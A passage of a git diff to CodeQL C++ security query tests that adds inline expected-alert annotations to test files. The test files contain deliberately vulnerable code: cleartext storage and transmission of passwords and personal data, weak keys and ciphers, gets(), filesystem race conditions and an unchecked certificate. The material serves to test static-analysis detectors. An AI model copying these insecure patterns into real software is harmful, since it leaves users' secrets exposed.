SSL_get_peer_certificate(ssl); // BAD (SSL_get_verify_result is only called when there is not a cert) // $ Alert[cpp/certificate-not-checked] if (cert != 0) return false; if (SSL_get_verify_result(ssl) != 0) return false; diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/CleartextBufferWrite.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/CleartextBufferWrite.qlref index 6c83c30d549e..05046b6a5d53 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/CleartextBufferWrite.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/CleartextBufferWrite.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-311/CleartextBufferWrite.ql \ No newline at end of file +query: Security/CWE/CWE-311/CleartextBufferWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/CleartextFileWrite.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/CleartextFileWrite.qlref index f047858d8808..9469736d8c77 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/CleartextFileWrite.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/CleartextFileWrite.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-311/CleartextFileWrite.ql \ No newline at end of file +query: Security/CWE/CWE-311/CleartextFileWrite.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/CleartextTransmission.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/CleartextTransmission.qlref index bb3fc66f1f10..5388c41bed6f 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/CleartextTransmission.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/CleartextTransmission.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-311/CleartextTransmission.ql \ No newline at end of file +query: Security/CWE/CWE-311/CleartextTransmission.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/test.cpp index f7be37b6c9f7..e7eecffb4871 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/test.cpp @@ -42,7 +42,7 @@ void file() { FILE *file; // BAD: write password to file in cleartext - fputs(thePassword, file); + fputs(thePassword, file); // $ Alert[cpp/cleartext-storage-file] // GOOD: encrypt first char *encrypted = encrypt(thePassword); @@ -50,12 +50,12 @@ void file() { } // test for CleartextBufferWrite -int main(int argc, char** argv) { +int main(int argc, char** argv) { // $ Source[cpp/cleartext-storage-buffer] char *input = argv[2]; char *passwd; // BAD: write password to buffer in cleartext - sprintf(passwd, "%s", input); + sprintf(passwd, "%s", input); // $ Alert[cpp/cleartext-storage-buffer] // GOOD: encrypt first sprintf(passwd, "%s", encrypt(input)); @@ -67,10 +67,10 @@ void stream() { ofstream mystream; // BAD: write password to file in cleartext - mystream << "the password is: " << thePassword; + mystream << "the password is: " << thePassword; // $ Alert[cpp/cleartext-storage-file] Source[cpp/cleartext-storage-file] // BAD: write password to file in cleartext - (mystream << "the password is: ").write(thePassword, strlen(thePassword)); + (mystream << "the password is: ").write(thePassword, strlen(thePassword)); // $ Alert[cpp/cleartext-storage-file] // GOOD: encrypt first char *encrypted = encrypt(thePassword); diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/test2.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/test2.cpp index ff10fba761b3..b19118598d4c 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/test2.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/test2.cpp @@ -40,37 +40,37 @@ int getPasswordMaxChars(); void tests(FILE *log, myStruct &s) { - fprintf(log, "password = %s\n", s.password); // BAD - fprintf(log, "thepasswd = %s\n", s.thepasswd); // BAD - fprintf(log, "accountkey = %s\n", s.accountkey); // BAD + fprintf(log, "password = %s\n", s.password); // BAD // $ Alert[cpp/cleartext-storage-file] + fprintf(log, "thepasswd = %s\n", s.thepasswd); // BAD // $ Alert[cpp/cleartext-storage-file] + fprintf(log, "accountkey = %s\n", s.accountkey); // BAD // $ Alert[cpp/cleartext-storage-file] fprintf(log, "password_hash = %s\n", s.password_hash); // GOOD fprintf(log, "encrypted_passwd = %s\n", s.encrypted_passwd); // GOOD fprintf(log, "password_file = %s\n", s.password_file); // GOOD fprintf(log, "password_path = %s\n", s.password_path); // GOOD - fprintf(log, "passwd_config = %s\n", s.passwd_config); // DUBIOUS [REPORTED] + fprintf(log, "passwd_config = %s\n", s.passwd_config); // DUBIOUS [REPORTED] // $ Alert[cpp/cleartext-storage-file] fprintf(log, "num_passwords = %i\n", s.num_passwords); // GOOD fprintf(log, "password_tries = %i\n", *(s.password_tries)); // GOOD fprintf(log, "have_passwd = %i\n", s.have_passwd); // GOOD - fprintf(log, "widepassword = %ls\n", s.widepassword); // BAD - fprintf(log, "widepassword = %S\n", s.widepassword); // BAD + fprintf(log, "widepassword = %ls\n", s.widepassword); // BAD // $ Alert[cpp/cleartext-storage-file] + fprintf(log, "widepassword = %S\n", s.widepassword); // BAD // $ Alert[cpp/cleartext-storage-file] - fprintf(log, "getPassword() = %s\n", getPassword()); // BAD + fprintf(log, "getPassword() = %s\n", getPassword()); // BAD // $ Alert[cpp/cleartext-storage-file] fprintf(log, "getPasswordHash() = %s\n", getPasswordHash()); // GOOD fprintf(log, "getPasswordMaxChars() = %i\n", getPasswordMaxChars()); // GOOD { - char *cpy1 = s.password; + char *cpy1 = s.password; // $ Source[cpp/cleartext-storage-file] char *cpy2 = crypt(s.password); - fprintf(log, "cpy1 = %s\n", cpy1); // BAD + fprintf(log, "cpy1 = %s\n", cpy1); // BAD // $ Alert[cpp/cleartext-storage-file] fprintf(log, "cpy2 = %s\n", cpy2); // GOOD } { char buf[1024]; - strcpy(buf, s.password); - fprintf(log, "buf = %s\n", buf); // BAD + strcpy(buf, s.password); // $ Source[cpp/cleartext-storage-file] + fprintf(log, "buf = %s\n", buf); // BAD // $ Alert[cpp/cleartext-storage-file] strcpy(buf, s.password_hash); fprintf(log, "buf = %s\n", buf); // GOOD @@ -95,8 +95,8 @@ void tests(FILE *log, myStruct &s) { char buffer[1024]; - snprintf(buffer, 1024, "password = %s", s.password); - fprintf(log, "log: %s", buffer); // BAD + snprintf(buffer, 1024, "password = %s", s.password); // $ Source[cpp/cleartext-storage-file] + fprintf(log, "log: %s", buffer); // BAD // $ Alert[cpp/cleartext-storage-file] } } @@ -107,6 +107,6 @@ void test_gets() { char password[1024]; - gets(password); // BAD + gets(password); // BAD // $ Alert[cpp/cleartext-storage-buffer] } } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/test3.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/test3.cpp index 35700d229e75..bd89d8b4d9c0 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/test3.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-311/semmle/tests/test3.cpp @@ -19,11 +19,11 @@ void test_send(const char *password1, const char *password2, const char *passwor { LogonUserA(val(), val(), password1, val(), val(), val()); // proof `password1` is plaintext - send(val(), password1, strlen(password1), val()); // BAD: `password1` is sent plaintext (certainly) + send(val(), password1, strlen(password1), val()); // BAD: `password1` is sent plaintext (certainly) // $ Alert[cpp/cleartext-transmission] } { - send(val(), password2, strlen(password2), val()); // BAD: `password2` is sent plaintext (probably) + send(val(), password2, strlen(password2), val()); // BAD: `password2` is sent plaintext (probably) // $ Alert[cpp/cleartext-transmission] } { @@ -44,7 +44,7 @@ void test_receive() { char password[256]; - recv(val(), password, 256, val()); // BAD: `password` is received plaintext (certainly) + recv(val(), password, 256, val()); // BAD: `password` is received plaintext (certainly) // $ Alert[cpp/cleartext-transmission] LogonUserA(val(), val(), password, val(), val(), val()); // (proof `password` is plaintext) } @@ -52,7 +52,7 @@ void test_receive() { char password[256]; - recv(val(), password, 256, val()); // BAD: `password` is received plaintext (probably) + recv(val(), password, 256, val()); // BAD: `password` is received plaintext (probably) // $ Alert[cpp/cleartext-transmission] } { @@ -71,16 +71,16 @@ void test_receive() void test_dataflow(const char *password1) { { - const char *ptr = password1; + const char *ptr = password1; // $ Source[cpp/cleartext-transmission] - send(val(), ptr, strlen(ptr), val()); // BAD: `password` is sent plaintext + send(val(), ptr, strlen(ptr), val()); // BAD: `password` is sent plaintext // $ Alert[cpp/cleartext-transmission] } { char password[256]; - char *ptr = password; + char *ptr = password; // $ Source[cpp/cleartext-transmission] - recv(val(), ptr, 256, val()); // BAD: `password` is received plaintext + recv(val(), ptr, 256, val()); // BAD: `password` is received plaintext // $ Alert[cpp/cleartext-transmission] } { @@ -98,7 +98,7 @@ void test_read() char password[256]; int fd = val(); - read(fd, password, 256); // BAD: `password` is received plaintext + read(fd, password, 256); // BAD: `password` is received plaintext // $ Alert[cpp/cleartext-transmission] } { @@ -111,7 +111,7 @@ void test_read() void my_recv(char *buffer, size_t bufferSize) { - recv(val(), buffer, bufferSize, val()); + recv(val(), buffer, bufferSize, val()); // $ Alert[cpp/cleartext-transmission] } const char *id(const char *buffer) @@ -123,7 +123,7 @@ char *global_password; char *get_global_str() { - return global_password; + return global_password; // $ Source[cpp/cleartext-transmission] } void test_interprocedural(const char *password1) @@ -131,19 +131,19 @@ void test_interprocedural(const char *password1) { char password[256]; - my_recv(password, 256); // BAD: `password` is received plaintext [detected in `my_recv`] + my_recv(password, 256); // BAD: `password` is received plaintext [detected in `my_recv`] // $ Source[cpp/cleartext-transmission] } { - const char *ptr = id(password1); + const char *ptr = id(password1); // $ Source[cpp/cleartext-transmission] - send(val(), ptr, strlen(ptr), val()); // BAD: `password1` is sent plaintext + send(val(), ptr, strlen(ptr), val()); // BAD: `password1` is sent plaintext // $ Alert[cpp/cleartext-transmission] } { char *data = get_global_str(); - send(val(), data, strlen(data), val()); // BAD: `global_password` is sent plaintext + send(val(), data, strlen(data), val()); // BAD: `global_password` is sent plaintext // $ Alert[cpp/cleartext-transmission] } } @@ -154,9 +154,9 @@ void test_taint(const char *password) { char buffer[16]; - strncpy(buffer, password, 16); + strncpy(buffer, password, 16); // $ Source[cpp/cleartext-transmission] buffer[15] = 0; - send(val(), buffer, 16, val()); // BAD: `password` is (partially) sent plaintext + send(val(), buffer, 16, val()); // BAD: `password` is (partially) sent plaintext // $ Alert[cpp/cleartext-transmission] } } @@ -225,7 +225,7 @@ int get_socket(int from); void test_more_stdio(const char *password) { send(get_socket(1), password, 128, val()); // GOOD: `getsocket(1)` is probably standard output - send(get_socket(val()), password, 128, val()); // BAD + send(get_socket(val()), password, 128, val()); // BAD // $ Alert[cpp/cleartext-transmission] } typedef struct {} FILE; @@ -238,7 +238,7 @@ void test_fgets(FILE *stream) { char password[128]; - fgets(password, 128, stream); // BAD + fgets(password, 128, stream); // BAD // $ Alert[cpp/cleartext-transmission] fgets(password, 128, STDIN_STREAM); // GOOD: `STDIN_STREAM` is probably standard input } @@ -267,9 +267,9 @@ void test_crypt_more() { char data[256], password[256]; - strcpy(data, password); // not proof of anything + strcpy(data, password); // not proof of anything // $ Source[cpp/cleartext-transmission] - send(val(), data, strlen(data), val()); // BAD: password is sent plaintext + send(val(), data, strlen(data), val()); // BAD: password is sent plaintext // $ Alert[cpp/cleartext-transmission] } } @@ -287,17 +287,17 @@ void target2(char *data) void target3(char *data) { - send(val(), data, strlen(data), val()); // BAD: data is a plaintext password + send(val(), data, strlen(data), val()); // BAD: data is a plaintext password // $ Alert[cpp/cleartext-transmission] } void target4(char *data) { - send(val(), data, strlen(data), val()); // BAD: data is a plaintext password + send(val(), data, strlen(data), val()); // BAD: data is a plaintext password // $ Alert[cpp/cleartext-transmission] } void target5(char *data) { - send(val(), data, strlen(data), val()); // BAD: from one source this is a plaintext password + send(val(), data, strlen(data), val()); // BAD: from one source this is a plaintext password // $ Alert[cpp/cleartext-transmission] } void target6(char *data) @@ -314,12 +314,12 @@ void test_multiple_sources_source(char *password1, char *password2) target2(password1); } else { target2(password1); - target3(password1); + target3(password1); // $ Source[cpp/cleartext-transmission] } if (cond()) { - char *data = password2; + char *data = password2; // $ Source[cpp/cleartext-transmission] target4(data); target5(data); @@ -338,7 +338,7 @@ void test_loops() { char password[256]; - recv(val(), password, 256, val()); // BAD: not encrypted + recv(val(), password, 256, val()); // BAD: not encrypted // $ Alert[cpp/cleartext-transmission] // ... } @@ -385,7 +385,7 @@ void test_more_clues() { char password[256]; - recv(val(), password, 256, val()); // BAD: not encrypted + recv(val(), password, 256, val()); // BAD: not encrypted // $ Alert[cpp/cleartext-transmission] } { @@ -411,13 +411,13 @@ void test_member_password() { packet p; - recv(val(), p.password, 256, val()); // BAD: not encrypted + recv(val(), p.password, 256, val()); // BAD: not encrypted // $ Alert[cpp/cleartext-transmission] } { packet p; - recv(val(), p.password, 256, val()); // GOOD: password is encrypted [FALSE POSITIVE] + recv(val(), p.password, 256, val()); // GOOD: password is encrypted [FALSE POSITIVE] // $ Alert[cpp/cleartext-transmission] decrypt_inplace(p.password); // proof that `password` was in fact encrypted } } @@ -428,7 +428,7 @@ void test_stdin_param(FILE *stream) { char password[128]; - fgets(password, 128, stream); // GOOD: from standard input (see call below) [FALSE POSITIVE] + fgets(password, 128, stream); // GOOD: from standard input (see call below) [FALSE POSITIVE] // $ Alert[cpp/cleartext-transmission] } void test_stdin() @@ -504,18 +504,18 @@ struct person_info void tests2(person_info *pi) { // direct cases - send(val(), pi->social_security_number, strlen(pi->social_security_number), val()); // BAD - send(val(), pi->socialSecurityNo, strlen(pi->socialSecurityNo), val()); // BAD - send(val(), pi->homePostCode, strlen(pi->homePostCode), val()); // BAD - send(val(), pi->my_zip_code, strlen(pi->my_zip_code), val()); // BAD - send(val(), pi->telephone, strlen(pi->telephone), val()); // BAD - send(val(), pi->mobile_phone_number, strlen(pi->mobile_phone_number), val()); // BAD - send(val(), pi->email, strlen(pi->email), val()); // BAD - send(val(), pi->my_credit_card_number, strlen(pi->my_credit_card_number), val()); // BAD - send(val(), pi->my_bank_account_no, strlen(pi->my_bank_account_no), val()); // BAD - send(val(), pi->employerName, strlen(pi->employerName), val()); // BAD - send(val(), pi->medical_info, strlen(pi->medical_info), val()); // BAD - send(val(), pi->license_key, strlen(pi->license_key), val()); // BAD + send(val(), pi->social_security_number, strlen(pi->social_security_number), val()); // BAD // $ Alert[cpp/cleartext-transmission] + send(val(), pi->socialSecurityNo, strlen(pi->socialSecurityNo), val()); // BAD // $ Alert[cpp/cleartext-transmission] + send(val(), pi->homePostCode, strlen(pi->homePostCode), val()); // BAD // $ Alert[cpp/cleartext-transmission] + send(val(), pi->my_zip_code, strlen(pi->my_zip_code), val()); // BAD // $ Alert[cpp/cleartext-transmission] + send(val(), pi->telephone, strlen(pi->telephone), val()); // BAD // $ Alert[cpp/cleartext-transmission] + send(val(), pi->mobile_phone_number, strlen(pi->mobile_phone_number), val()); // BAD // $ Alert[cpp/cleartext-transmission] + send(val(), pi->email, strlen(pi->email), val()); // BAD // $ Alert[cpp/cleartext-transmission] + send(val(), pi->my_credit_card_number, strlen(pi->my_credit_card_number), val()); // BAD // $ Alert[cpp/cleartext-transmission] + send(val(), pi->my_bank_account_no, strlen(pi->my_bank_account_no), val()); // BAD // $ Alert[cpp/cleartext-transmission] + send(val(), pi->employerName, strlen(pi->employerName), val()); // BAD // $ Alert[cpp/cleartext-transmission] + send(val(), pi->medical_info, strlen(pi->medical_info), val()); // BAD // $ Alert[cpp/cleartext-transmission] + send(val(), pi->license_key, strlen(pi->license_key), val()); // BAD // $ Alert[cpp/cleartext-transmission] send(val(), pi->license_key_hash, strlen(pi->license_key_hash), val()); // GOOD send(val(), pi->my_zip_file, strlen(pi->my_zip_file), val()); // GOOD @@ -523,14 +523,14 @@ void tests2(person_info *pi) { char buffer[1024]; - snprintf(buffer, 1024, "lat = %f\n", pi->my_latitude); - send(val(), buffer, strlen(buffer), val()); // BAD + snprintf(buffer, 1024, "lat = %f\n", pi->my_latitude); // $ Source[cpp/cleartext-transmission] + send(val(), buffer, strlen(buffer), val()); // BAD // $ Alert[cpp/cleartext-transmission] } { char buffer[1024]; - snprintf(buffer, 1024, "long = %f\n", pi->home_longitude); - send(val(), buffer, strlen(buffer), val()); // BAD + snprintf(buffer, 1024, "long = %f\n", pi->home_longitude); // $ Source[cpp/cleartext-transmission] + send(val(), buffer, strlen(buffer), val()); // BAD // $ Alert[cpp/cleartext-transmission] } { char buffer[1024]; @@ -548,15 +548,15 @@ void tests2(person_info *pi) { char buffer[1024]; - snprintf(buffer, 1024, "salary = %s\n", pi->salaryString); - send(val(), buffer, strlen(buffer), val()); // BAD + snprintf(buffer, 1024, "salary = %s\n", pi->salaryString); // $ Source[cpp/cleartext-transmission] + send(val(), buffer, strlen(buffer), val()); // BAD // $ Alert[cpp/cleartext-transmission] } { char buffer[1024]; - char *sal = pi->salaryString; + char *sal = pi->salaryString; // $ Source[cpp/cleartext-transmission] snprintf(buffer, 1024, "salary = %s\n", sal); - send(val(), buffer, strlen(buffer), val()); // BAD + send(val(), buffer, strlen(buffer), val()); // BAD // $ Alert[cpp/cleartext-transmission] } } @@ -568,14 +568,14 @@ void tests3() { const char *str; - str = get_home_phone(); - send(val(), str, strlen(str), val()); // BAD + str = get_home_phone(); // $ Source[cpp/cleartext-transmission] + send(val(), str, strlen(str), val()); // BAD // $ Alert[cpp/cleartext-transmission] str = get_home(); send(val(), str, strlen(str), val()); // GOOD (probably not personal info) - str = get_home_address(); - send(val(), str, strlen(str), val()); // BAD + str = get_home_address(); // $ Source[cpp/cleartext-transmission] + send(val(), str, strlen(str), val()); // BAD // $ Alert[cpp/cleartext-transmission] } int fscanf(FILE* stream, const char* format, ... ); diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-319/UseOfHttp/UseOfHttp.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-319/UseOfHttp/UseOfHttp.qlref index c9c917ad0456..5a18a73768b9 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-319/UseOfHttp/UseOfHttp.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-319/UseOfHttp/UseOfHttp.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-319/UseOfHttp.ql \ No newline at end of file +query: Security/CWE/CWE-319/UseOfHttp.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-319/UseOfHttp/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-319/UseOfHttp/test.cpp index 573e021979d7..ba977d434481 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-319/UseOfHttp/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-319/UseOfHttp/test.cpp @@ -12,7 +12,7 @@ void openUrl(const char *url) { // ... - host myHost = gethostbyname(url); + host myHost = gethostbyname(url); // $ Sink // ... } @@ -21,19 +21,19 @@ void doNothing(char *url) { } -const char *url_g = "http://example.com"; // BAD +const char *url_g = "http://example.com"; // BAD // $ Alert void test() { - openUrl("http://example.com"); // BAD + openUrl("http://example.com"); // BAD // $ Alert openUrl("https://example.com"); // GOOD (https) openUrl("http://localhost/example"); // GOOD (localhost) openUrl("https://localhost/example"); // GOOD (https, localhost) doNothing("http://example.com"); // GOOD (URL not used) { - const char *url_l = "http://example.com"; // BAD - const char *urls[] = { "http://example.com" }; // BAD + const char *url_l = "http://example.com"; // BAD // $ Alert + const char *urls[] = { "http://example.com" }; // BAD // $ Alert openUrl(url_g); openUrl(url_l); @@ -43,7 +43,7 @@ void test() { char buffer[1024]; - strcpy(buffer, "http://"); // BAD + strcpy(buffer, "http://"); // BAD // $ Alert strcat(buffer, "example.com"); openUrl(buffer); @@ -107,7 +107,7 @@ void test4(char *url) void test5() { - char *url_string = "http://example.com"; // BAD + char *url_string = "http://example.com"; // BAD // $ Alert char *ptr; ptr = strstr(url_string, "https://"); // GOOD (https) diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-326/InsufficientKeySize.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-326/InsufficientKeySize.qlref index e869f87150a8..790ce8b27187 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-326/InsufficientKeySize.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-326/InsufficientKeySize.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-326/InsufficientKeySize.ql \ No newline at end of file +query: Security/CWE/CWE-326/InsufficientKeySize.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-326/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-326/test.cpp index 18780fc05c0f..5e606f46baf4 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-326/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-326/test.cpp @@ -31,8 +31,8 @@ void test1(EVP_PKEY_CTX *ctx) { EVP_PKEY_CTX_set_rsa_keygen_bits(ctx, 2048); // low key sizes - EVP_PKEY_CTX_set_dsa_paramgen_bits(ctx, 1024); - EVP_PKEY_CTX_set_dh_paramgen_prime_len(ctx, 1024); + EVP_PKEY_CTX_set_dsa_paramgen_bits(ctx, 1024); // $ Alert + EVP_PKEY_CTX_set_dh_paramgen_prime_len(ctx, 1024); // $ Alert // RSA sets bits per-key rather than with parameters - EVP_PKEY_CTX_set_rsa_keygen_bits(ctx, 1024); + EVP_PKEY_CTX_set_rsa_keygen_bits(ctx, 1024); // $ Alert } \ No newline at end of file diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-327/BrokenCryptoAlgorithm.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-327/BrokenCryptoAlgorithm.qlref index 8424dee1a9b6..ead42dd0386b 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-327/BrokenCryptoAlgorithm.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-327/BrokenCryptoAlgorithm.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-327/BrokenCryptoAlgorithm.ql \ No newline at end of file +query: Security/CWE/CWE-327/BrokenCryptoAlgorithm.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-327/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-327/test.cpp index 91af0f7eede2..2ab9fc8457d8 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-327/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-327/test.cpp @@ -35,7 +35,7 @@ void my_implementation6(const char *str); void test_macros(void *data, size_t amount, const char *str) { - ENCRYPT_WITH_DES(data, amount); // BAD + ENCRYPT_WITH_DES(data, amount); // BAD // $ Alert ENCRYPT_WITH_RC2(data, amount); // BAD ENCRYPT_WITH_AES(data, amount); // GOOD (good algorithm) ENCRYPT_WITH_3DES(data, amount); // BAD diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-327/test2.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-327/test2.cpp index 95fc532c842d..9c8eb0933ed2 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-327/test2.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-327/test2.cpp @@ -46,7 +46,7 @@ void encrypt_bad(char *data, size_t amount, keytype key, int algo) { case ALGO_DES: { - my_des_implementation(data, amount, key); // BAD + my_des_implementation(data, amount, key); // BAD // $ Alert } break; case ALGO_AES: diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-367/semmle/TOCTOUFilesystemRace.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-367/semmle/TOCTOUFilesystemRace.qlref index c7d2e9c45f4b..cbced86ff2e2 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-367/semmle/TOCTOUFilesystemRace.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-367/semmle/TOCTOUFilesystemRace.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-367/TOCTOUFilesystemRace.ql \ No newline at end of file +query: Security/CWE/CWE-367/TOCTOUFilesystemRace.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-367/semmle/test2.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-367/semmle/test2.cpp index 96425debc7c2..4fb08a116b94 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-367/semmle/test2.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-367/semmle/test2.cpp @@ -66,7 +66,7 @@ void test2_1(const char *path) if (stat(path, &buf)) { - f = fopen(path, "r"); // BAD + f = fopen(path, "r"); // BAD // $ Alert } // ... @@ -80,7 +80,7 @@ void test2_2(const char *path) stat(path, &buf); if (buf.foo > 0) { - f = fopen(path, "r"); // BAD + f = fopen(path, "r"); // BAD // $ Alert } // ... @@ -95,7 +95,7 @@ void test2_3(const char *path) stat(path, buf_ptr); if (buf_ptr->foo > 0) { - f = fopen(path, "r"); // BAD + f = fopen(path, "r"); // BAD // $ Alert } // ... @@ -112,7 +112,7 @@ void test2_4(const char *path) stat(path, &buf); if (stat_condition(&buf)) { - f = fopen(path, "r"); // BAD + f = fopen(path, "r"); // BAD // $ Alert } // ... @@ -127,7 +127,7 @@ void test2_5(const char *path) stat(path, buf_ptr); if (stat_condition(buf_ptr)) { - f = fopen(path, "r"); // BAD + f = fopen(path, "r"); // BAD // $ Alert } // ... @@ -154,7 +154,7 @@ void test2_7(const char *path, int arg) if (stat(path, &buf)) { - f = open(path, arg); // BAD + f = open(path, arg); // BAD // $ Alert } // ... @@ -167,7 +167,7 @@ void test2_8(const char *path, int arg) if (lstat(path, &buf)) { - f = open(path, arg); // BAD + f = open(path, arg); // BAD // $ Alert } // ... @@ -206,7 +206,7 @@ void test2_11(const char *path, int arg) if (stat(path, &buf)) { - f = open(path, arg); // GOOD (here stat is just a redundant check that the file exists / path is valid, confirmed by the return value of open) [FALSE POSITIVE] + f = open(path, arg); // GOOD (here stat is just a redundant check that the file exists / path is valid, confirmed by the return value of open) [FALSE POSITIVE] // $ Alert if (f == -1) { // handle error @@ -225,7 +225,7 @@ void test2_12(const char *path, int arg) { if (buf.foo == 11) // check a property of the file { - f = open(path, arg); // BAD + f = open(path, arg); // BAD // $ Alert if (f == -1) { // handle error @@ -246,7 +246,7 @@ void test2_13(const char *path, int arg) return; } - f = fopen(path, "wt"); // BAD + f = fopen(path, "wt"); // BAD // $ Alert // ... } @@ -294,7 +294,7 @@ void test4_1(const char *path) fclose(f); - chmod(path, 0); // BAD + chmod(path, 0); // BAD // $ Alert } } @@ -326,7 +326,7 @@ void test6_1(const char *path) if (access(path)) { - f = fopen(path, "r"); // BAD + f = fopen(path, "r"); // BAD // $ Alert // ... } @@ -352,7 +352,7 @@ void test6_3(const char *path) if (!access(path)) { - f = fopen(path, "r"); // BAD + f = fopen(path, "r"); // BAD // $ Alert // ... } @@ -366,7 +366,7 @@ void test6_4(const char *path) { // ... } else { - f = fopen(path, "r"); // BAD + f = fopen(path, "r"); // BAD // $ Alert // ... } @@ -397,7 +397,7 @@ void test7_1(const char *path) fclose(f); - chmod(path, 1234); // BAD + chmod(path, 1234); // BAD // $ Alert } } @@ -405,7 +405,7 @@ void test7_1(const char *path1, const char *path2) { if (!rename(path1, path2)) { - chmod(path2, 1234); // BAD + chmod(path2, 1234); // BAD // $ Alert } } diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/IteratorToExpiredContainer/IteratorToExpiredContainer.qlref b/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/IteratorToExpiredContainer/IteratorToExpiredContainer.qlref index fb2d78f87dfe..b0ce57b346f8 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/IteratorToExpiredContainer/IteratorToExpiredContainer.qlref +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/IteratorToExpiredContainer/IteratorToExpiredContainer.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-416/IteratorToExpiredContainer.ql +query: Security/CWE/CWE-416/IteratorToExpiredContainer.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/IteratorToExpiredContainer/test.cpp b/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/IteratorToExpiredContainer/test.cpp index d4e3c5b269ae..fe30cb863a46 100644 --- a/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/IteratorToExpiredContainer/test.cpp +++ b/cpp/ql/test/query-tests/Security/CWE/CWE-416/semmle/tests/IteratorToExpiredContainer/test.cpp @@ -677,10 +677,10 @@ std::vector> return_self_by_value(const std::vector& v) { } std::vector& ref_to_first_in_returnValue_1() { - return returnValue()[0]; // BAD + return returnValue()[0]; // BAD // $ Alert } std::vector& ref_to_first_in_returnValue_2() { @@ -732,7 +732,7 @@ std::vector& ref_to_first_in_returnValue_2() { } std::vector& ref_to_first_in_returnValue_3() { - return returnValue()[0]; // BAD + return returnValue()[0]; // BAD // $ Alert } std::vector first_in_returnValue_1() { @@ -854,7 +854,7 @@ struct PlusPlusReturnByValueIterator void test7() { 